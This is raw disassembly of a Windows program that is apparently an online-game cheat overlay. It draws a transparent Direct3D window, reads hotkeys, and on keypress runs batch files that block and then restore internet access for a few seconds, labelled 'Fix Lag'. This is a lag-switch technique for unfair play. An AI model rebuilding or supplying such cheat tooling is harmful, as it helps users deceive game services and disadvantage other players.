mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [rbp - 0x10], rax
lea edx, [rsi - 0x15]
mov rdi, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
lea edx, [rsi - 0x15]
mov rcx, rdi
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
lea r9d, [rsi + 1]
mov r8b, 0xff
xor edx, edx
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140041907
lea rdx, str.SetWindowCompositionAttribute
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400418fe
movdqa xmm0, xmmword [reloc.WS2_32.dll_closesocket]
lea rcx, [rbp + 0x6d8]
mov qword [rbp + 0x588], rcx
lea rdx, [rbp + 0x580]
mov rcx, rdi
mov dword [rbp + 0x580], reloc.WS2_32.dll_send
movdqu xmmword [rbp + 0x6d8], xmm0
mov dword [rbp + 0x590], reloc.WS2_32.dll_recv
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movdqa xmm0, xmmword [0x1401af3a0]
lea rdx, [rbp + 0x6c8]
mov rcx, rdi
movdqu xmmword [rbp + 0x6c8], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
lea rdx, [rbp + 0x268]
mov rcx, rdi
movups xmmword [rbp + 0x268], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rax, [0x1401f2b88]
mov qword [rbp + 0x3f4], r14
mov qword [rsp + 0x58], rax
lea rcx, [rbp + 0x1c0]
lea rax, [rbp + 0x360]
mov qword [rbp + 0x408], 2
mov qword [rsp + 0x50], rax
xor r9d, r9d
lea rax, [0x1401f2b80]
mov qword [rbp + 0x420], 2
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [0x1401f2b78]
mov qword [rbp + 0x3e0], r14
mov qword [rsp + 0x40], rax
mov edx, esi
lea rax, [rbp + 0x3e0]
mov dword [rbp + 0x3f0], Ordinal_32
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], rcx
xor ecx, ecx
mov dword [rbp + 0x3e8], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x3ec], esi
mov dword [rbp + 0x404], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x410], rdi
mov qword [rbp + 0x3fc], rsi
mov qword [rbp + 0x418], rsi
mov dword [rbp + 0x1c0], 0xb000
mov dword [rbp + 0x1c4], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x140041a3e
call fcn.140046950
mov rdx, qword [rbp + 0x448]
mov rcx, qword [rbp + 0x470]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, esi
jmp 0x140046855
mov rcx, qword [0x1401f2b78]
lea r9, [rbp + 0x1d0]
mov qword [rsp + 0x2440], r12
lea r8, [0x1401accd8]
mov qword [rsp + 0x2408], r13
xor edx, edx
mov qword [rsp + 0x2400], r15
mov rax, qword [rcx]
movaps xmmword [rsp + 0x23f0], xmm6
movaps xmmword [rsp + 0x23c0], xmm9
movaps xmmword [rsp + 0x23b0], xmm10
movaps xmmword [rsp + 0x23a0], xmm11
movaps xmmword [rsp + 0x2390], xmm12
movaps xmmword [rsp + 0x2380], xmm13
movaps xmmword [rsp + 0x2370], xmm14
movaps xmmword [rsp + 0x2360], xmm15
call qword [rax + 0x48]
mov rcx, qword [0x1401f2b80]
lea r9, [0x1401f2b70]
mov rdx, qword [rbp + 0x1d0]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x1d0]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0xa
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
call fcn.1400061c0
call fcn.140008170
lea rcx, [rbp + 0xbc0]
mov rbx, rax
call fcn.1400249c0
movss xmm6, dword [0x1401af298]
lea rax, [rbp + 0xbc0]
mov rcx, qword [rbx + 0x50]
lea rsi, [0x1401a9798]
mov qword [rsp + 0x28], rsi
lea rdx, [0x1401c6110]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rax
mov r8d, 0x8574
mov dword [rbp + 0xc0c], 0x10c
call fcn.1400254b0
movss xmm3, dword [0x1401af294]
lea rax, [rbp + 0xbc0]
mov rcx, qword [rbx + 0x50]
lea rdx, [0x1401c6110]
mov qword [rsp + 0x28], rsi
mov r8d, 0x8574
mov qword [rsp + 0x20], rax
call fcn.1400254b0
mov rcx, qword [rbx + 0x50]
lea rdx, [0x1401ce690]
mov qword [0x1401d14b0], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xbc0]
mov qword [rsp + 0x28], rsi
mov r8d, 0xb98
mov qword [rsp + 0x20], rax
call fcn.1400254b0
movss xmm3, dword [0x1401af28c]
lea rdx, [0x1401ce690]
mov rcx, qword [rbx + 0x50]
mov r8d, 0xb98
mov qword [0x1401d14b8], rax
lea rax, [rbp + 0xbc0]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
call fcn.1400254b0
xor ecx, ecx
call fcn.1400202e0
mov rcx, rdi
call fcn.14003a110
call fcn.140039ea0
movzx ebx, byte [rsp + 0x60]
xor al, al
mov dword [rbp - 0x58], eax
movzx r14d, byte [rsp + 0x60]
xorps xmm9, xmm9
movzx edi, byte [rsp + 0x60]
movzx r15d, byte [rsp + 0x60]
movzx esi, byte [rsp + 0x60]
movzx r13d, byte [rsp + 0x60]
movzx r12d, byte [rsp + 0x60]
movss xmm13, dword [0x1401af610]
movss xmm11, dword [0x1401af354]
movss xmm10, dword [0x1401af278]
movss xmm14, dword [0x1401af270]
movss xmm12, dword [0x1401af208]
movss xmm15, dword [0x1401af2a4]
movaps xmmword [rsp + 0x23e0], xmm7
movaps xmmword [rsp + 0x23d0], xmm8
nop dword [rax]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x8b0]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140041d10
mov r12d, dword [rbp - 0x58]
mov r13d, 1
nop dword [rax + rax]
lea rcx, [rbp + 0x8b0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x8b0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x8b8], 0x12
lea rcx, [rbp + 0x8b0]
movzx r12d, r12b
cmove r12d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140041cb0
movzx r13d, byte [rsp + 0x60]
mov dword [rbp - 0x58], r12d
movzx r12d, byte [rsp + 0x60]
cmp byte [rbp - 0x58], al
jne 0x1400467b1
mov ecx, dword [0x1401d1508]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140041dd9
xor eax, eax
lea r8, str.C:WindowsTemp_block_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_2_seg_Activado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r8, str.C:WindowsTemp_resume_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_2_seg_Desactivado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1401d1618]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140041ea2
xor eax, eax
lea r8, str.C:WindowsTemp_block_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_3_seg_Activado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r8, str.C:WindowsTemp_resume_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_3_seg_Desactivado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1401d14ec]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140041f6b
xor eax, eax
lea r8, str.C:WindowsTemp_block_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_5_seg_Activado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r8, str.C:WindowsTemp_resume_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_5_seg_Desactivado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1401d14c8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140042034
xor eax, eax
lea r8, str.C:WindowsTemp_block_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_6_seg_Activado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r8, str.C:WindowsTemp_resume_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_6_seg_Desactivado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1401d14c0]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400420fd
xor eax, eax
lea r8, str.C:WindowsTemp_block_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_7_seg_Activado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov ecx, 0x1b58
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r8, str.C:WindowsTemp_resume_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_7_seg_Desactivado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1401d1608]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400421c6
xor eax, eax
lea r8, str.C:WindowsTemp_block_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_8_seg_Activado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r8, str.C:WindowsTemp_resume_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_8_seg_Desactivado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1401d14f4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14004228f
xor eax, eax
lea r8, str.C:WindowsTemp_block_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_4_seg_Activado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov ecx, 0xfa0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r8, str.C:WindowsTemp_resume_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_4_seg_Desactivado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, reloc.WLDAP32.dll_Ordinal_50
and al, 1
mov dword [rsp + 0x78], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x33
and al, 1
mov dword [rsp + 0x7c], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, reloc.WS2_32.dll_WSASetLastError
and al, 1
mov dword [rbp - 0x70], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, WSAStartup
and al, 1
mov dword [rbp - 0x68], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, WSAStartup
and al, 1
mov dword [rbp - 0x80], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, reloc.WS2_32.dll_WSAStartup
and al, 1
mov dword [rsp + 0x70], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x51
and al, 1
mov dword [rbp - 0x78], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x45
and al, 1
mov dword [rsp + 0x64], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x1401d14c4]
movzx edx, byte [0x1401d149c]
movzx r8d, byte [0x1401d1564]
movzx r9d, byte [0x1401d1504]
movzx r10d, byte [0x1401d14d7]
movzx r11d, byte [0x1401d1507]
shr eax, 0xf
and al, 1
mov dword [rsp + 0x68], eax
cmp ecx, 1
jne 0x14004239d
cmp byte [rsp + 0x78], 0
je 0x140042517
movzx ecx, byte [0x1401d14f2]
test dl, dl
jne 0x14004251e
cmp byte [0x1401d151e], dl
sete byte [0x1401d151e]
jmp 0x14004251e
cmp ecx, 2
jne 0x1400423d0
cmp byte [rsp + 0x7c], 0
je 0x140042517
movzx ecx, byte [0x1401d14f2]
test r8b, r8b
jne 0x14004251e
cmp byte [0x1401d151e], r8b
sete byte [0x1401d151e]
jmp 0x14004251e
cmp ecx, 3
jne 0x140042402
cmp byte [rbp - 0x70], 0
je 0x140042517
movzx ecx, byte [0x1401d14f2]
test r9b, r9b
jne 0x14004251e
cmp byte [0x1401d151e], r9b
sete byte [0x1401d151e]
jmp 0x14004251e
cmp ecx, 4
jne 0x140042434
cmp byte [rbp - 0x68], 0
je 0x140042517
movzx ecx, byte [0x1401d14f2]
test r10b, r10b
jne 0x14004251e
cmp byte [0x1401d151e], r10b
sete byte [0x1401d151e]
jmp 0x14004251e
cmp ecx, 5
jne 0x140042466
cmp byte [rbp - 0x80], 0
je 0x140042517
movzx ecx, byte [0x1401d14f2]
test r11b, r11b
jne 0x14004251e
cmp byte [0x1401d151e], r11b
sete byte [0x1401d151e]
jmp 0x14004251e
cmp ecx, 6
jne 0x140042497
cmp byte [rsp + 0x70], 0
movzx ecx, byte [0x1401d14f2]
je 0x14004251e
test cl, cl
jne 0x14004251e
cmp byte [0x1401d151e], cl
sete byte [0x1401d151e]
jmp 0x14004251e
cmp ecx, 7
jne 0x1400424c2
cmp byte [rbp - 0x78], 0
je 0x140042517
cmp byte [0x1401d149f], 0
movzx ecx, byte [0x1401d14f2]
jne 0x14004251e
cmp byte [0x1401d151e], 0
sete byte [0x1401d151e]
jmp 0x14004251e
cmp ecx, 8
jne 0x1400424ee
cmp byte [rsp + 0x64], 0
je 0x140042517
cmp byte [0x1401d14d6], 0
movzx ecx, byte [0x1401d14f2]
jne 0x14004251e
cmp byte [0x1401d151e], 0
sete byte [0x1401d151e]
jmp 0x14004251e
cmp ecx, 9
jne 0x140042517
test al, al
je 0x140042517
cmp byte [0x1401d1505], 0
movzx ecx, byte [0x1401d14f2]
jne 0x14004251e
cmp byte [0x1401d151e], 0
sete byte [0x1401d151e]
jmp 0x14004251e
movzx ecx, byte [0x1401d14f2]
mov eax, dword [0x1401d14fc]
cmp eax, 1
jne 0x14004253b
cmp byte [rsp + 0x78], 0
je 0x1400425e3
test dl, dl
jmp 0x1400425d3
cmp eax, 2
jne 0x140042553
cmp byte [rsp + 0x7c], 0
je 0x1400425e3
test r8b, r8b
jmp 0x1400425d3
cmp eax, 3
jne 0x140042567
cmp byte [rbp - 0x70], 0
je 0x1400425e3
test r9b, r9b
jmp 0x1400425d3
cmp eax, 4
jne 0x140042577
cmp byte [rbp - 0x68], 0
je 0x1400425e3
test r10b, r10b
jmp 0x1400425d3
cmp eax, 5
jne 0x140042587
cmp byte [rbp - 0x80], 0
je 0x1400425e3
test r11b, r11b
jmp 0x1400425d3
cmp eax, 6
jne 0x140042597
cmp byte [rsp + 0x70], 0
je 0x1400425e3
test cl, cl
jmp 0x1400425d3
cmp eax, 7
jne 0x1400425ab
cmp byte [rbp - 0x78], 0
je 0x1400425e3
cmp byte [0x1401d149f], 0
jmp 0x1400425d3
cmp eax, 8
jne 0x1400425c0
cmp byte [rsp + 0x64], 0
je 0x1400425e3
cmp byte [0x1401d14d6], 0
jmp 0x1400425d3
cmp eax, 9
jne 0x1400425e3
cmp byte [rsp + 0x68], 0
je 0x1400425e3
cmp byte [0x1401d1505], 0
jne 0x1400425e3
cmp byte [0x1401d151f], 0
sete byte [0x1401d151f]
mov eax, dword [0x1401d14e4]
cmp eax, 1
jne 0x140042600
cmp byte [rsp + 0x78], 0
je 0x1400426a8
test dl, dl
jmp 0x140042698
cmp eax, 2
jne 0x140042618
cmp byte [rsp + 0x7c], 0
je 0x1400426a8
test r8b, r8b
jmp 0x140042698
cmp eax, 3
jne 0x14004262c
cmp byte [rbp - 0x70], 0
je 0x1400426a8
test r9b, r9b
jmp 0x140042698
cmp eax, 4
jne 0x14004263c
cmp byte [rbp - 0x68], 0
je 0x1400426a8
test r10b, r10b
jmp 0x140042698
cmp eax, 5
jne 0x14004264c
cmp byte [rbp - 0x80], 0
je 0x1400426a8
test r11b, r11b
jmp 0x140042698
cmp eax, 6
jne 0x14004265c
cmp byte [rsp + 0x70], 0
je 0x1400426a8
test cl, cl
jmp 0x140042698
cmp eax, 7
jne 0x140042670
cmp byte [rbp - 0x78], 0
je 0x1400426a8
cmp byte [0x1401d149f], 0
jmp 0x140042698
cmp eax, 8
jne 0x140042685
cmp byte [rsp + 0x64], 0
je 0x1400426a8
cmp byte [0x1401d14d6], 0
jmp 0x140042698
cmp eax, 9
jne 0x1400426a8
cmp byte [rsp + 0x68], 0
je 0x1400426a8
cmp byte [0x1401d1505], 0
jne 0x1400426a8
cmp byte [0x1401d1562], 0
sete byte [0x1401d1562]
mov eax, dword [0x1401d14d0]
cmp eax, 1
jne 0x1400426d0
cmp byte [rsp + 0x78], 0
je 0x140042735
test dl, dl
jne 0x140042735
cmp byte [0x1401d1519], 0
sete al
mov byte [0x1401d1519], al
jmp 0x14004273c
cmp eax, 2
jne 0x1400426e1
cmp byte [rsp + 0x7c], 0
je 0x140042735
test r8b, r8b
jmp 0x1400426bc
cmp eax, 3
jne 0x1400426f1
cmp byte [rbp - 0x70], 0
je 0x140042735
test r9b, r9b
jmp 0x1400426bc
cmp eax, 4
jne 0x140042701
cmp byte [rbp - 0x68], 0
je 0x140042735
test r10b, r10b
jmp 0x1400426bc
cmp eax, 5
jne 0x140042711
cmp byte [rbp - 0x80], 0
je 0x140042735
test r11b, r11b
jmp 0x1400426bc
cmp eax, 6
jne 0x140042721
cmp byte [rsp + 0x70], 0
je 0x140042735
test cl, cl
jmp 0x1400426bc
cmp eax, 7
jne 0x140042735
cmp byte [rbp - 0x78], 0
je 0x140042735
cmp byte [0x1401d149f], 0
jmp 0x1400426bc
movzx eax, byte [0x1401d1519]
mov ecx, dword [0x1401d14e8]
cmp ecx, 8
jne 0x140042774
cmp byte [rsp + 0x64], 0
je 0x140042863
cmp byte [0x1401d14d6], 0
jne 0x140042863
test al, al
sete byte [0x1401d1519]
cmp byte [0x1401d14d6], 0
jmp 0x140042853
cmp ecx, 9
jne 0x14004279f
cmp byte [rsp + 0x68], 0
je 0x140042863
cmp byte [0x1401d1505], 0
jne 0x140042863
test al, al
sete byte [0x1401d1519]
jmp 0x14004284c
cmp ecx, 1
jne 0x1400427b6
cmp byte [rsp + 0x78], 0
je 0x140042863
test dl, dl
jmp 0x140042853
cmp ecx, 2
jne 0x1400427ce
cmp byte [rsp + 0x7c], 0
je 0x140042863
test r8b, r8b
jmp 0x140042853
cmp ecx, 3
jne 0x1400427e2
cmp byte [rbp - 0x70], 0
je 0x140042863
test r9b, r9b
jmp 0x140042853
cmp ecx, 4
jne 0x1400427f2
cmp byte [rbp - 0x68], 0
je 0x140042863
test r10b, r10b
jmp 0x140042853
cmp ecx, 5
jne 0x140042802
cmp byte [rbp - 0x80], 0
je 0x140042863
test r11b, r11b
jmp 0x140042853
cmp ecx, 6
jne 0x140042817
cmp byte [rsp + 0x70], 0
je 0x140042863
cmp byte [0x1401d14f2], 0
jmp 0x140042853
cmp ecx, 7
jne 0x14004282b
cmp byte [rbp - 0x78], 0
je 0x140042863
cmp byte [0x1401d149f], 0
jmp 0x140042853
cmp ecx, 8
jne 0x140042840
cmp byte [rsp + 0x64], 0
je 0x140042863
cmp byte [0x1401d14d6], 0
jmp 0x140042853
cmp ecx, 9
jne 0x140042863
cmp byte [rsp + 0x68], 0
je 0x140042863
cmp byte [0x1401d1505], 0
jne 0x140042863
cmp byte [0x1401d1518], 0
sete byte [0x1401d1518]
mov ecx, dword [0x1401d1508]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14004292c
xor eax, eax
lea r8, str.C:WindowsTemp_block_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_2_seg_Activado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r8, str.C:WindowsTemp_resume_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_2_seg_Desactivado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1401d1618]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x1400429f5
xor eax, eax
lea r8, str.C:WindowsTemp_block_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Fix_Lag_3_seg_Activado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r8, str.C:WindowsTemp_resume_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Fix_Lag_3_seg_Desactivado_
lea rcx, [0x1401cf288]
call fcn.140037dc0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x1401d14ec]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140042abe
xor eax, eax
lea r8, str.C:WindowsTemp_block_internet.bat
mov dword [rsp + 0x28], eax
lea rdx, str.open
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edx, 0x190
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Beep]
